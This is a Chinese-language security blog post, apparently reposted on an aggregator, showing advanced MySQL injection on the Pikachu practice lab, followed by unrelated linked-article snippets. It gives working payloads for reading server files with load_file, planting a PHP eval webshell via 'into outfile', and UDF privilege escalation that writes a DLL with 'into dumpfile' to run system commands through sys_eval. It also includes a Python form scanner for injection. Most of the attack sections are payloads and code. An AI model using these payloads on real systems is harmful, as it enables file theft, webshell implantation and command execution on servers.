SQL注入的其他攻击思路方法与Python脚本设计思路

SQL注入的其他攻击思路方法与Python脚本设计思路

也是很早就写了,也备个份吧

注意:在接下来的攻击方式中,由于实现的条件较为苛刻,并且需要较高权限,有的师傅又称之为高权限攻击

利用文件读取进行SQL注入

上一篇文章提到,在MySQL中文件读取的函数是load_file,当MySQL的配置secure_file_priv允许时,我们可以利用该函数进行一定的操作,如前文的DNS注入,这里我们以皮卡丘靶场演示利用该函数读取其根目录下的flag文件夹的flag.txt

通过配置secure_file_priv,MySQL可以限制只允许从指定目录加载文件,在通常情况下它处于NULL状态,即不允许读取文件,我们可以通过给它指定一个绝对路径,让其只允许读取该路径的文件,如果指定为一个空路径,将会允许其读取任何文件,配置示例如下:

  • 只允许读取/var/mysql_files/
secure_file_priv=/var/mysql_files/
  • 可读取任意文件
secure_file_priv=

我们直接进行burp suite抓包,并且发送到repeater,然后我们利用报错注入的方式发送我们的注入语句payload:

'or extractvalue(1,concat(0x3e,load_file('D:/SoftWare/phpstudy_pro/Extensions/MySQL5.7.26/my.ini')))#

我这里使用的字符型注入关卡,由于是get请求记得不要忘记编码

在这里插入图片描述

可以从返回界面发现注入成功(可能是由于做了截断,只返回了一行内容),我们也可以进行其他文件读取,这里不做过多赘述,重点在于我们还有其他利用方式,在对抗单引号过滤时,我们可以利用16进制转换或char等编码方式逃避检测,下面以hex演示,我们利用以下python脚本获取路径:

import binasciioriginal_string = "D:/SoftWare/phpstudy_pro/Extensions/MySQL5.7.26/my.ini"hex_string = binascii.hexlify(original_string.encode()).decode()print('0x'+hex_string)

得到:0x443a2f536f6674576172652f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69,然后我们载入攻击报文,将有以下结果:

在这里插入图片描述

利用sql注入写入WebShell

into outfile

在MySQL中可以利用into outfile来写入文件,当权限充足时,我们的文件将会被创建,如果已存在该文件则会报错,它的语法是:

select 字符串 into outfile 文件路径

并且该语句是可以联合union注入使用的,在MySQL中下列语句是可以成功执行的:

 select 1,2 union select 1,'123' into outfile '1.txt';

接下来我们依然以皮卡丘靶场演示,在字符型关卡我们拼接以下payload:

'or 1=1 union select 1,'<?php eval($_POST[\'x\']); ?>' into outfile 'D:/SoftWare/phpstudy_pro/WWW/pkc/shell.php' #

此操作是将一个Webshell写入皮卡丘网站的根目录,我们再次使用burp suite操作:

在这里插入图片描述

可以发现,虽有警告,但是shell已经完成上传,不过这种方式会将union语句前一个select内容也一并输入到目标文件中

但是在对抗单引号转义时,into outfile的写入文件路径不能够为16进制或其他编码方法,这是一个明显的缺陷,我们尝试运行将会抛出以下错误:

mysql> select 1,2 union select 1,0x313233 into outfile 0x312e747874;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x312e747874' at line 1
mysql> select 1,2 union select 1,'123' into outfile 0x312e747874;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x312e747874' at line 1

但是文件内容是可以转换进制的,不会报错:

mysql> select 1,2 union select 1,0x313233 into outfile '1.txt';
Query OK, 2 rows affected (0.00 sec)

注意:相比于load_file,此方法并不能通过配置文件去限制,算是一个可以进行测试的点

into dumpfile

在MySQL利用into dumpfile写文件,同样的当权限充足时,我们的文件将会被创建,如果已存在该文件则会报错,它的语法是:

select 字符串 into dumpfile 文件路径

和outfile一样,在写入时也和前者一样的转义问题:

mysql> select '123' into dumpfile 0x312e747874;
ERROR 1327 (42000): Undeclared variable: dumpfilemysql> select 0x313233 into dumpfile 0x312e747874;
ERROR 1327 (42000): Undeclared variable: dumpfilemysql> select 0x313233 into dumpfile '1.txt';
Query OK, 1 row affected (0.00 sec)

into dumpfile与into outfile区别

由于书面描述较为抽象,我们直接进行一次注入进行演示:

在这里插入图片描述

我们发现将会产生报错:

Result consisted of more than one row

原因是dumpfile进行导出只能够导出一行数据,无法带出更多,然后我们观察两者产生的文件会发现,outfile会有一个格式化的操作,而dumpflie的原封不动输出,即原意写入这一点在后面的udf提权十分重要

Web安全与二进制安全的碰撞-UDF提权

提权就是想办法从低权限的状态提升到高权限状态,往往是将普通用户权限提升至Administrators(Windows 超级管理员用户组)、System权限(Windows 系统最高权限)、root权限(Linux系统最高权限)。提权技术大体上可分为系统内核提权和应用程序或服务提权。
系统内核提权是利用系统内核本身的漏洞进行提权,可以理解为对系统漏洞的利用。Windows 下比较经典的系统内核提权是PR提权,Linux 下比较经典的是DirtyCow(脏牛)提权。研究系统内核提权需要很深厚的内核功底,由于漏洞挖掘成本高,大多数攻击者在入侵时会使用已公开的一些系统内核提权方法进行尝试,而对抗这种提权的办法就是对操作系统升级和打补丁,提高对抗成本。
而应用程序或服务提权就是利用应用程序或服务本身运行在高权限的优势,想办法控制应用程序来执行命令,也就达到了以高权限执行命令的目的。UDF提权正是这样的一种提权思路,UDF 提权适用于Windows 和 Linux 两种不同的操作系统环境,能否达到提权效果,主要在于系统运行MySQL采用的权限。由于早期Windows系统中大多数人都是以System权限启动和运行MySQL服务器的,因此UDF提权常见于Windows系统。

UDF 全名是 User Defined Function,即用户自定义函数,是 MySQL的一个拓展接口。用户可以通过自定义函数实现在 MySQL 中创建一些 MySQL 无法直接实现的功能,其添加的新函数都可以在 SQL 语句中调用并执行。它给攻击者留下了一个从 SQL 语句执行到系统调用的接口。

UDF 提权主要分为以下三个步骤。

  1. 把含有自定义函数(如执行系统调用函数“sys_eval”等)的 dll文件(如 Linux 为 so文件等)放入特定文件夹下。
  2. 声明引入这个 dll文件中的自定义函数。
  3. 使用这个自定义的函数执行系统调用完成提权。

我们可以在sqlmap\data\udf\mysql\windows\64目录下找到udf提权所用的64位文件(32位在64的上层目录32中),不过这个文件需要转码,我是直接使用的github上的原版未处理dll扩展,这里就不研究编写方式了,编写可以参考:https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-function.html

通常来讲UDF提权会结合文件上传,先将dll文件上传到服务器的特定路径,并且这里对特定路径有一定要求:

  • 如果 MySQL 版本大于 5.1,,udf. dll文件必须放置在 MySQL 安装目录的 lib\plugin 文件夹下才可以创建自定义函数。该目录默认是不存在的,需要使用 WebShell 找到 MySQL 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将udf. dll文件导出到该目录
  • 如果 MySQL 版本小于 5.1, udf. dll文件在 Windows Server 2003下放置在C:\windows\system32目录中,在Windows Server 2000 下放置在 C:\winnt\system32目录中

但是我们也可以通过将该dll以16进制形式写入数据库中,下面我们进行从文件写入开始的Windows下UDF提权操作示例:

  • 获取udf.dll文件的16进制内容

第一种方法,通过mysql终端自带的load_file进行操作:

select hex(load_file('/udf.dll'));

第二种方式,通过python脚本进行转化:

def dll_to_hex_string(file_path: str) -> str:with open(file_path, 'rb') as file:dll_bytes: bytes = file.read()hex_string: str = ''.join(['{:02X}'.format(byte) for byte in dll_bytes])return hex_stringif __name__ == "__main":dll_file_path: str = 'udf.dll'hex_string: str = dll_to_hex_string(dll_file_path)res_str: str = 'select ' + '0x' + hex_string + ' into dumpfile ' + "\'D:/PhpStudy/Extensions/MySQL5.7.26/lib/plugin/udf.dll\';"with open('udf.txt', '+a') as file:file.write(res_str)
  • 将文件写入MySQL(由于16进制字符串太长注意可能出现的截断等问题),我们以UDFhex代替其内容

为了不破环原有文件的二进制结构,必须要原意写入,此时必须使用into dumpfile

select UDFhex into dumpfile 'MySQL/lib/plugin/udf.dll' ;

在这里插入图片描述

这里需要注意一个问题,如果在MySQL中默认无此目录,所以会创建失败(局限性之一),我们这里为了演示,手动创建,然后执行:

create function sys_eval returns string soname 'udf.dll';

执行成功后我们就获得了自定义函数sys_eval,即可开始在注入语句中使用该函数执行系统指令,并且默认的读取目录仍为配置文件中的datadir,我在其目录下放了一个flag.txt,下面进行验证:

在这里插入图片描述

执行成功,总的来说,UDF提权局限性虽然很大,但是其测试思路是很值得借鉴的

试想一下,只要写入十六进制串就能够有效,那么我们还可以在条件允许的情况下,使用insert语句先注入字符串到某张表,然后再将该内容写入文件即可,这里就不演示了,测试后将udf.dll删除即可,然后运行以下语句,取消该函数即可:

DROP FUNCTION IF EXISTS sys_eval;

Python的SQL注入扫描简单实现

注意:仅仅基于简单的有输入行为的闭合注入测试,因为实际情况往往更加复杂,需要因地制宜,以作为启发性笔记以给新人学习思路

使用技术声明

基于requests,urllib(自带),BeautifulSoup4三个爬虫模块进行技术实现,运行以下bat进行安装:

pip install beautifulsoup4
pip install requests

说白了就是利用爬虫技术模拟我们的手动注入,并且由于脚本需要根据实际情况而定,我这里仅以皮卡丘靶场的字符型扫描为例

在构造时需要存取哪些内容

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from typing import Final
from datetime import datetime
import re, osclass SqliScanner:def __init__(self, url: str, cookie: str=None) -> None:self.url: str = urlself.cookies: str = cookie	# 先将自定义cookie的内容以str存储self.response = None	# 储存返回的报文内容self.session = requests.session() # 建立会话访问 获取默认的内容self.form_objects: list = None  # 存储表单对象self.input_point_list: list[dict] = [] # 存储表单输入点列表self.sqli_vul_type = []  # 存储漏洞类型self.database_type = None  # 存储数据库类型self.sqli_scan_res = "No"  # 存储扫描结果指示self.headers = {                 # 自定义header头'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"" (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34",'Content-Type':"application/x-www-form-urlencoded"}self.payloads = {  # 存储payload字典"Char": ['\"', '\'', '#']}

如何成功访问到目标页面

首先我们进行注入一定要先发出向目标网站的请求,然后才能进行下一步的操作,然后我们需要注意,部分网站没有Cookie等其他字段是无法访问我们想要的页面的,于是我们需要在请求中添加cookie等内容(即自定义header与cookie),而不需要cookie的网站,我们也要考虑获取默认cookie内容,以防止出现获取内容失败的情况(即建立会话获取),然后我们考虑解析我们的页面数据,获取有输入动作的表单字段,最后将目标字段递交给注入模块处理,并且我们可以对网站的存活状态进行检测,防止不必要的程序运行,并且可以顺手以session访问一下,获取默认的内容,再进行自定义cookie载入:

    def check_url_status(self) -> bool:self.response = self.session.get(url=self.url, headers=self.headers)if self.response.status_code == 200:print("连接正常")return Trueelse:print("连接失败")return False
    def custom_cookies_loader(self) -> None:if self.cookies != "" and self.cookies is not None :cookies: dict = {}separate_cookie: list[str] = self.cookies.split(',')for cookie_parttion in separate_cookie:temp: list[str] = cookie_parttion.split('=')cookies[temp[0]] = temp[1]self.session.cookies.update(cookies)else:self.cookies = self.session.cookies

因为我这里设置了保存cookie字段,所以会从session中取得cookies

怎样获得页面上的输入点

我们可以通过beautifulSoup4来对html文档进行层层解析,将对应属性与值用字典存储,考虑一个网站可能出现多个输入点,我们还应该用列表储存字典:

    def get_input_point(self) -> None:html_document = BeautifulSoup(self.response.content, "html.parser")self.form_objects = html_document.find_all("form")  # 返回所有form表单对象的列表for form_object in self.form_objects:  # 循环读取 返回的对象列表 (可能有多个对象)input_point: dict = {}  # 定义一个字典储存单个 form 标签信息action = form_object.attrs.get("action")method = form_object.attrs.get("method", "get")  # 获取传参方法 未指定则为默认getinputs = []  # 定义一个列表储存 input 标签信息for input_object in form_object.find_all("input"):  # 循环读取 input 标签内容input_name = input_object.attrs.get("name")input_type = input_object.attrs.get("type", "text")input_value = input_object.attrs.get("value", "")inputs.append({"type": input_type, "name": input_name, "value": input_value})  # 以字典存储表单属性内容# 将一个 form 标签的信息保存在同一字典中input_point["action"] = actioninput_point["method"] = method.lower()input_point["inputs"] = inputsself.input_point_list.append(input_point)  # 将form表单的数据字典存储在列表中

怎样发起攻击扫描

我们可以层层解析上面获取的列表,依据它们使用的方法来进行扫描,这里我使用层层循环来进行枚举,正常来讲应该避免多层嵌套,不过写个小脚本问题不是很大

    def sqli_scan_attack(self) -> None:for input_point in self.input_point_list:url_load = urljoin(self.url, input_point["action"])  # 构造目标 urlfor key, value in self.payloads.items():  # 循环测试payload字典attack_load = []for code in value:data_load = {}for inputs in input_point["inputs"]:if inputs["type"] == "hidden" or inputs["value"]:  # 隐藏式表单 与 含值表单 的探测构造data_load[inputs["name"]] = inputs["value"] + codeelse:data_load[inputs["name"]] = f"flag{code}"  # 常规表单的构造attack_load.append(data_load)# 使用不同上传方式进行探测if input_point["method"] == "post":for data_load in attack_load:self.response = self.session.post(url=url_load, headers=self.headers, data=data_load).textif self.response_error_scanner():  # 探测 response 表单中是否含有错误self.sqli_vul_type.append(key)break  # 含有错误特征 提前终止if input_point["method"] == "get":for param in attack_load:self.response = self.session.get(url=url_load, headers=self.headers, params=param).textif self.response_error_scanner():  # 探测 response 表单中是否含有错误self.sqli_vul_type.append(key)break  # 含有错误特征 提前终止self.session.close()

如何界定是否存在漏洞

在上述的方法中,我定义了response_error_scanner(),它使用一个常见的正则字典,对有回显的页面进行了内容匹配,实际情况可能更加复杂,这只是一个示例:

   def response_error_scanner(self) -> bool:  # 使用正则枚举数据库类型 以达到判断的目的error_matching_status = FalseDATABASE_ERRORS: Final | dict = {"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver",r"Warning.*mssql_.*",r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",r"(?s)Exception.*\WRoadhouse\.Cms\."),"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*",r"Warning.*\Wora_.*"),"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),}if self.response != None:for keys, values in DATABASE_ERRORS.items():for value in values:if re.search(value, self.response, re.I):self.database_type = keys  # 返回数据库的类型self.sqli_scan_res = "Yes"error_matching_status = Truereturn error_matching_statusreturn error_matching_status

简单写一个日志打印

    def create_scan_logs(self) -> None:current_time = datetime.now().strftime("%Y-%m-%d-%H-%M-%S")if not os.path.exists('./log'):os.mkdir('./log')file_name = './log/' + current_time + '.txt'with open(file_name, 'w') as file_object:file_object.write(f"url_name : {self.url}\n")file_object.write(f"cookies : {self.cookies}\n")file_object.write(f"sqli_scan_res : {self.sqli_scan_res}\n")file_object.write(f"sqli_vul_type : {self.sqli_vul_type}\n")file_object.write(f"database_type : {self.database_type}\n")print("文件已导出")

定义主方法内容

if __name__ == "__main__":url: str = 'http://pkc/vul/sqli/sqli_str.php'user_define_cookie = ""start = SqliScanner(url=url, cookie=user_define_cookie)if start.check_url_status():start.custom_cookies_loader()start.get_input_point()start.sqli_scan_attack()print(f"url :{start.url}")print(f"cookie :{start.cookies}")print(f"是否存在SQL注入漏洞 :{start.sqli_scan_res}")print(f"SQL注入漏洞类型是 :{start.sqli_vul_type}")print(f"目标数据库类型是 :{start.database_type}")start.create_scan_logs()

运行脚本进行测试

PS D:\Desktop\py_crawl> python .\sqli_scanner.py 
连接正常
url :http://pkc/vul/sqli/sqli_str.php
cookie :<RequestsCookieJar[<Cookie PHPSESSID=uk4gsom6c8qjho90b0k9tu0dl5 for pkc.local/>]>
是否存在SQL注入漏洞 :Yes
SQL注入漏洞类型是 :['Char']
目标数据库类型是 :MySQL
文件已导出
PS D:\Desktop\py_crawl> type .\log\2024-02-02-19-42-51.txt
url_name : http://pkc/vul/sqli/sqli_str.php
cookies : <RequestsCookieJar[<Cookie PHPSESSID=58ou82ooll95b77mref0h56s24 for pkc.local/>]>
sqli_scan_res : Yes
sqli_vul_type : ['Char']
database_type : MySQL
PS D:\Desktop\py_crawl>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/303885.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Go第三方框架--ants协程池框架

1. 背景介绍 1.1 goroutine ants是站在巨人的肩膀上开发出来的&#xff0c;这个巨人是goroutine&#xff0c;这是连小学生都知道的事儿&#xff0c;那么为什么不继续使用goroutine(以下简称go协程)呢。这是个思考题&#xff0c;希望讲完本文大家可以有个答案。 go协程只涉及用…

【C语言】编译和链接

1. 翻译环境和运行环境 在ANSI C的任何⼀种实现中&#xff0c;存在两个不同的环境。 第1种是翻译环境&#xff0c;在这个环境中源代码被转换为可执⾏的机器指令&#xff08;⼆进制指令&#xff09;。 第2种是执⾏环境&#xff0c;它⽤于实际执⾏代码。 2. 编译环境 那翻译环境…

2024年腾讯云优惠券领取步骤使用教程详解

随着云计算技术的快速发展&#xff0c;越来越多的企业和个人开始选择使用云服务来提升自己的业务能力和工作效率。腾讯云作为国内领先的云服务提供商&#xff0c;其优质的服务和丰富的资源吸引了大量的用户。为了回馈广大用户&#xff0c;腾讯云经常会推出各种优惠活动&#xf…

Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解

Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解 一、什么是Log4j2二、环境搭建三、简单使用Log4j2四、JDNI和RMI4.1、启动一个RMI服务端4.2、启动一个RMI客户端4.3、ldap 五、漏洞复现六、Python批量检测 参考视频&#xff1a;https://www.bilibili.com/video/BV1mZ4y1D7K…

SQL注入---字符绕过

文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 一.注释符绕过 当网页源代码中出现如下代码后&#xff0c;常见的注释符号将无效&#xff0c;因此需要通过特殊手段进行绕过 $reg "/#/"; $reg1 "/--/"; $replace &quo…

数据安全产品之认识数据脱敏系统

文章目录 一、什么是数据脱敏二、为什么要做数据脱敏三、数据脱敏系统的工作原理四、常见的数据脱敏方法五、数据脱敏系统的主要功能六、数据脱敏系统的部署方式七、数据脱敏与去标识化的关系与区别 随着业务的快速发展&#xff0c;特别是在银行、电信、医疗等行业中&#xff0…

第一个Swift程序

要创建第一个Swift项目,请按照以下步骤操作: 打开Xcode。如果您没有安装Xcode,可以在App Store中下载并安装它。在Xcode的欢迎界面上,选择“Create a new Xcode project”(创建新Xcode项目)。在模板选择界面上,选择“App”(应用程序)。在应用模板选择界面上,选择“Si…

PostgreSQL入门到实战-第九弹

PostgreSQL入门到实战 PostgreSQL数据过滤(二)官网地址PostgreSQL概述PostgreSQL中and操作理论PostgreSQL中and操作实操更新计划 PostgreSQL数据过滤(二) 了解PostgreSQL AND逻辑运算符以及如何使用它来组合多个布尔表达式。 官网地址 声明: 由于操作系统, 版本更新等原因, …

接口自动化测试(python+pytest+requests)

一、选取自动化测试用例 优先级高:先实现业务流程用例、后实现单接口用例功能较稳定的接口优先开展测试用例脚本的实现二、搭建自动化测试环境 核心技术:编程语言:python;测试框架:pytest;接口请求:requests安装/验证requests:命令行终端分别输入 pip install requests / p…

【LAMMPS学习】八、基础知识(1.6) LAMMPS 与其他代码耦合

8. 基础知识 此部分描述了如何使用 LAMMPS 为用户和开发人员执行各种任务。术语表页面还列出了 MD 术语&#xff0c;以及相应 LAMMPS 手册页的链接。 LAMMPS 源代码分发的 examples 目录中包含的示例输入脚本以及示例脚本页面上突出显示的示例输入脚本还展示了如何设置和运行各…

理解 Golang 变量在内存分配中的规则

为什么有些变量在堆中分配、有些却在栈中分配&#xff1f; 我们先看来栈和堆的特点&#xff1a; 简单总结就是&#xff1a; 栈&#xff1a;函数局部变量&#xff0c;小数据 堆&#xff1a;大的局部变量&#xff0c;函数内部产生逃逸的变量&#xff0c;动态分配的数据&#x…

第十四届蓝桥杯大赛软件赛省赛C/C++大学 B 组

第十四届蓝桥杯大赛软件赛省赛C/C大学 B 组 文章目录 第十四届蓝桥杯大赛软件赛省赛C/C大学 B 组1、日期统计2、01串的熵3、冶炼金属4、飞机降落5、接龙数列6、岛屿个数7、子串简写8、整数删除9、景区导游10、砍树 1、日期统计 分析&#xff1a; 本题的意思就是2023年一整年&a…

基于SSM+Jsp+Mysql的超市管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

redis string底层为什么使用sds, sds好处?redis 的动态字符串优点?

1. redis 的键值对&#xff0c;都是由对象组成的&#xff0c; 其中键总是一个字符串对象&#xff08;string object&#xff09; 而键的value则可以是&#xff1a;“字符串对象”&#xff0c; “列表对象 &#xff08;list object&#xff09;”&#xff0c;“哈希对象 (hash o…

算法:树形dp(树状dp)

文章目录 一、树形DP的概念1.基本概念2.解题步骤3.树形DP数据结构 二、典型例题1.LeetCode&#xff1a;337. 打家劫舍 III1.1、定义状态转移方程1.2、参考代码 2.ACWing&#xff1a;285. 没有上司的舞会1.1、定义状态转移方程1.2、拓扑排序参考代码1.3、dfs后序遍历参考代码 一…

【算法刷题 | 二叉树 06】4.10( 路径总和、路径总和 || )

文章目录 13.路径总和13.1问题13.2解法一&#xff1a;递归13.2.1递归思路&#xff08;1&#xff09;确定递归函数参数以及返回值&#xff08;2&#xff09;确定终止条件&#xff08;3&#xff09;确定递归逻辑 13.2.2代码实现 14.路径总和 ||14.1问题14.2解法一&#xff1a;递归…

第四百四十二回 再谈flutter_launcher_icons包

文章目录 1. 概念介绍2. 使用方法3. 示例代码4. 经验与总结4.1 经验分享4.2 内容总结 我们在上一章回中介绍了"overlay_tooltip简介"相关的内容&#xff0c;本章回中将 再谈flutter_launcher_icons包.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 …

Redux和Redux Toolkit

Redux 概念&#xff1a;redux是react最常用的集中状态管理工具&#xff0c;类似于Vue中的Pinia(vuex)&#xff0c;可以独立于框架运行作用&#xff1a;通过集中管理的方式管理应用的状态 Redux快速体验 不和任何框架绑定&#xff0c;不使用任何构建工具&#xff0c;使用纯Re…

2024年面试AI编译器岗经验总结

面试经历: 面试中必备的知识: 1.用C++实现一个卷积 (图解)一步一步使用CPP实现深度学习中的卷积 - GiantPandaCVGiantPandaCVhttp://giantpandacv.com/academic/%E7%AE%97%E6%B3%95%E7%A7%91%E6%99%AE/%E5%B0%BD%E8%A7%88%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E…

支小蜜校园刷脸支付系统的优势在哪里?

在当今社会&#xff0c;校园欺凌问题日益受到人们的关注。校园欺凌不仅影响学生的身心健康&#xff0c;还可能导致其产生厌学、逃学甚至报复社会的行为。建立校园防欺凌系统对于学校而言&#xff0c;具有极其重要的意义。本文将详细探讨校园防欺凌系统对学校的好处。 一、保障…